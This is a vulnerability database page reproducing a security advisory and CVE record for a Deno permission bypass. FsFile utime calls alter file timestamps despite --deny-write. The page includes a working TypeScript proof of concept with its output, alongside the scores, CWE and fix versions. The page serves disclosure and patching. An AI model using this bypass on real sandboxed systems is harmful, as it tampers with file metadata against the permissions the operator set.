github - ghsa-vg2r-rmgp-cgqj

GHSA-VG2R-RMGP-CGQJ

Vulnerability from github – Published: 2025-10-07 22:36 – Updated: 2025-10-13 15:17

Summary

Deno's --deny-write check does not prevent permission bypass

Details

Summary

Deno.FsFile.prototype.utime and Deno.FsFile.prototype.utimeSync are not limited by the permission model check --deny-write=./.

It's possible to change to change the access (atime) and modification (mtime) times on the file stream resource even when the file is opened with read only permission (and write: false) and file write operations are not allowed (the script is executed with --deny-write=./).

Similar APIs like Deno.utime and Deno.utimeSync require allow-write permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (atime) and modification (mtime) times, and thus bypass the permission model.

PoC

Setup:

deno --version
deno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)
v8 13.7.152.14-rusty
typescript 5.8.3

touch test.txt

// touch test.txt
// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1
async function poc1(){
    using file = await Deno.open("./test.txt", { read: true, write: false});

    const fileInfoBefore = await file.stat();

    await file.utime(new Date("2000-01-01"), new Date("2000-01-01"));

    const fileInfoAfter = await file.stat();


    console.log(`BEFORE (utime)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())


    console.log(`AFTER (utime)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}


// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2
function poc2(){
    using file = Deno.openSync("./test.txt", { read: true, write: false});

    const fileInfoBefore = file.statSync();

    file.utimeSync(new Date("2001-01-01"), new Date("2001-01-01"));

    const fileInfoAfter = file.statSync();


    console.log(`BEFORE (utimeSync)`)
    console.log(new Date(fileInfoBefore.mtime).getFullYear())
    console.log(new Date(fileInfoBefore.atime).getFullYear())


    console.log(`AFTER (utimeSync)`)
    console.log(new Date(fileInfoAfter.mtime).getFullYear())
    console.log(new Date(fileInfoAfter.atime).getFullYear())
}

// https://docs.deno.com/api/deno/~/Deno.utime
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3
async function poc3(){
    // not executed
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}

// https://docs.deno.com/api/deno/~/Deno.utimeSync
// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4
function poc4(){
    // not executed
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
}


async function main(){
    const poc = Deno.args[0] || 1;

    const status = await Deno.permissions.query({ name: "write", path: "./" });
    console.log(status);
    switch (poc) {
        case "1":
            poc1()
            break;
        case "2":
            poc2()
            break;
        case "3":
            poc3()
            break;
        case "4":
            poc4()
            break;
        default:
            poc1()
    }
}

main()

Output: - deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1

PermissionStatus { state: "denied", onchange: null }
BEFORE (utime)
2025
2025
AFTER (utime)
2000
2000

deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2

PermissionStatus { state: "denied", onchange: null }
BEFORE (utimeSync)
2000
2000
AFTER (utimeSync)
2001
2001

deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    await Deno.utime("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
               ^
    ...

deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4

PermissionStatus { state: "denied", onchange: null }
error: Uncaught (in promise) NotCapable: Requires write access to "./test.txt", run again with the --allow-write flag
    Deno.utimeSync("./test.txt", new Date("2000-01-01"), new Date("2000-01-01"));
         ^
    ...

Impact

Permission model bypass

Severity ?

3.3 (Low)


                  
                    CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

Show details on source website

JSON

To clipboard

{
  "affected": [
    {
      "package": {
        "ecosystem": "crates.io",
        "name": "deno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.5.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-61785"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-266"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-10-07T22:36:36Z",
    "nvd_published_at": "2025-10-08T01:15:32Z",
    "severity": "LOW"
  },
  "details": "### Summary\n\n`Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`.\n\nIt\u0027s possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`).\n\nSimilar APIs like `Deno.utime` and `Deno.utimeSync` require\u00a0`allow-write`\u00a0permission, however, when a file is opened, even with read only flags and deny-write permission, it\u0027s still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model.\n\n### PoC\n\nSetup:\n```\ndeno --version\ndeno 2.4.2 (stable, release, x86_64-unknown-linux-gnu)\nv8 13.7.152.14-rusty\ntypescript 5.8.3\n\ntouch test.txt\n```\n\n```js\n// touch test.txt\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1\nasync function poc1(){\n    using file = await Deno.open(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = await file.stat();\n    \n    await file.utime(new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n    \n    const fileInfoAfter = await file.stat();\n    \n    \n    console.log(`BEFORE (utime)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utime)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n\n// https://docs.deno.com/api/deno/~/Deno.FsFile.prototype.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2\nfunction poc2(){\n    using file = Deno.openSync(\"./test.txt\", { read: true, write: false});\n\n    const fileInfoBefore = file.statSync();\n    \n    file.utimeSync(new Date(\"2001-01-01\"), new Date(\"2001-01-01\"));\n    \n    const fileInfoAfter = file.statSync();\n    \n    \n    console.log(`BEFORE (utimeSync)`)\n    console.log(new Date(fileInfoBefore.mtime).getFullYear())\n    console.log(new Date(fileInfoBefore.atime).getFullYear())\n    \n    \n    console.log(`AFTER (utimeSync)`)\n    console.log(new Date(fileInfoAfter.mtime).getFullYear())\n    console.log(new Date(fileInfoAfter.atime).getFullYear())\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utime\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3\nasync function poc3(){\n    // not executed\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n// https://docs.deno.com/api/deno/~/Deno.utimeSync\n// deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4\nfunction poc4(){\n    // not executed\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n}\n\n\nasync function main(){\n    const poc = Deno.args[0] || 1;\n\n    const status = await Deno.permissions.query({ name: \"write\", path: \"./\" });\n    console.log(status);\n    switch (poc) {\n        case \"1\":\n            poc1()\n            break;\n        case \"2\":\n            poc2()\n            break;\n        case \"3\":\n            poc3()\n            break;\n        case \"4\":\n            poc4()\n            break;\n        default:\n            poc1()\n    }\n}\n\nmain()\n```\n\nOutput:\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 1`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utime)\n2025\n2025\nAFTER (utime)\n2000\n2000\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 2`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nBEFORE (utimeSync)\n2000\n2000\nAFTER (utimeSync)\n2001\n2001\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 3`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    await Deno.utime(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n               ^\n    ...\n```\n\n- `deno run --allow-read=./ --deny-write=./ poc_file.utime.ts 4`\n```\nPermissionStatus { state: \"denied\", onchange: null }\nerror: Uncaught (in promise) NotCapable: Requires write access to \"./test.txt\", run again with the --allow-write flag\n    Deno.utimeSync(\"./test.txt\", new Date(\"2000-01-01\"), new Date(\"2000-01-01\"));\n         ^\n    ...\n```\n\n\n### Impact\n\nPermission model bypass",
  "id": "GHSA-vg2r-rmgp-cgqj",
  "modified": "2025-10-13T15:17:42Z",
  "published": "2025-10-07T22:36:36Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-61785"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/pull/30872"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/denoland/deno"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/releases/tag/v2.2.15"
    },
    {
      "type": "WEB",
      "url": "https://github.com/denoland/deno/releases/tag/v2.5.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Deno\u0027s --deny-write check does not prevent permission bypass"
}

CVE-2025-61785 (GCVE-0-2025-61785)

Vulnerability from cvelistv5 – Published: 2025-10-08 00:37 – Updated: 2025-10-08 18:59

Title

Deno's --deny-write check does not prevent permission bypass

Summary

Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It's possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require `allow-write` permission, however, when a file is opened, even with read only flags and deny-write permission, it's still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue.

Severity ?

3.3 (Low)


                        
                          CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N

CWE

CWE-266 - Incorrect Privilege Assignment

Assigner

GitHub_M

References

URL

Tags

	https://github.com/denoland/deno/security/advisor…	x_refsource_CONFIRM
	https://github.com/denoland/deno/pull/30872	x_refsource_MISC
	https://github.com/denoland/deno/commit/992e998df…	x_refsource_MISC
	https://github.com/denoland/deno/releases/tag/v2.2.15	x_refsource_MISC
	https://github.com/denoland/deno/releases/tag/v2.5.3	x_refsource_MISC

Impacted products

	Vendor	Product	Version
	denoland	deno	Affected: >= 2.3.0, < 2.5.3 Affected: < 2.2.15

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2025-61785",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2025-10-08T18:59:00.429362Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2025-10-08T18:59:12.863Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "deno",
          "vendor": "denoland",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 2.3.0, \u003c 2.5.3"
            },
            {
              "status": "affected",
              "version": "\u003c 2.2.15"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "Deno is a JavaScript, TypeScript, and WebAssembly runtime. In versions prior to 2.5.3 and 2.2.15, `Deno.FsFile.prototype.utime` and `Deno.FsFile.prototype.utimeSync` are not limited by the permission model check `--deny-write=./`. It\u0027s possible to change to change the access (`atime`) and modification (`mtime`) times on the file stream resource even when the file is opened with `read` only permission (and `write`: `false`) and file write operations are not allowed (the script is executed with `--deny-write=./`). Similar APIs like `Deno.utime` and `Deno.utimeSync` require\u00a0`allow-write`\u00a0permission, however, when a file is opened, even with read only flags and deny-write permission, it\u0027s still possible to change the access (`atime`) and modification (`mtime`) times, and thus bypass the permission model. Versions 2.5.3 and 2.2.15 fix the issue."
        }
      ],
      "metrics": [
        {
          "cvssV3_0": {
            "attackComplexity": "LOW",
            "attackVector": "LOCAL",
            "availabilityImpact": "NONE",
            "baseScore": 3.3,
            "baseSeverity": "LOW",
            "confidentialityImpact": "NONE",
            "integrityImpact": "LOW",
            "privilegesRequired": "LOW",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N",
            "version": "3.0"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-266",
              "description": "CWE-266: Incorrect Privilege Assignment",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2025-10-08T00:37:01.869Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/denoland/deno/security/advisories/GHSA-vg2r-rmgp-cgqj"
        },
        {
          "name": "https://github.com/denoland/deno/pull/30872",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/denoland/deno/pull/30872"
        },
        {
          "name": "https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/denoland/deno/commit/992e998dfe436cdc9325232759af8be92f11739b"
        },
        {
          "name": "https://github.com/denoland/deno/releases/tag/v2.2.15",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/denoland/deno/releases/tag/v2.2.15"
        },
        {
          "name": "https://github.com/denoland/deno/releases/tag/v2.5.3",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/denoland/deno/releases/tag/v2.5.3"
        }
      ],
      "source": {
        "advisory": "GHSA-vg2r-rmgp-cgqj",
        "discovery": "UNKNOWN"
      },
      "title": "Deno\u0027s --deny-write check does not prevent permission bypass"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2025-61785",
    "datePublished": "2025-10-08T00:37:01.869Z",
    "dateReserved": "2025-09-30T19:43:49.902Z",
    "dateUpdated": "2025-10-08T18:59:12.863Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.1"
}

Sightings

Author	Source	Type	Date

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Detection rules are retrieved from Rulezet.

Action not permitted

GHSA-VG2R-RMGP-CGQJ

Summary

PoC

Impact

CVE-2025-61785 (GCVE-0-2025-61785)

Tags

Sightings

Nomenclature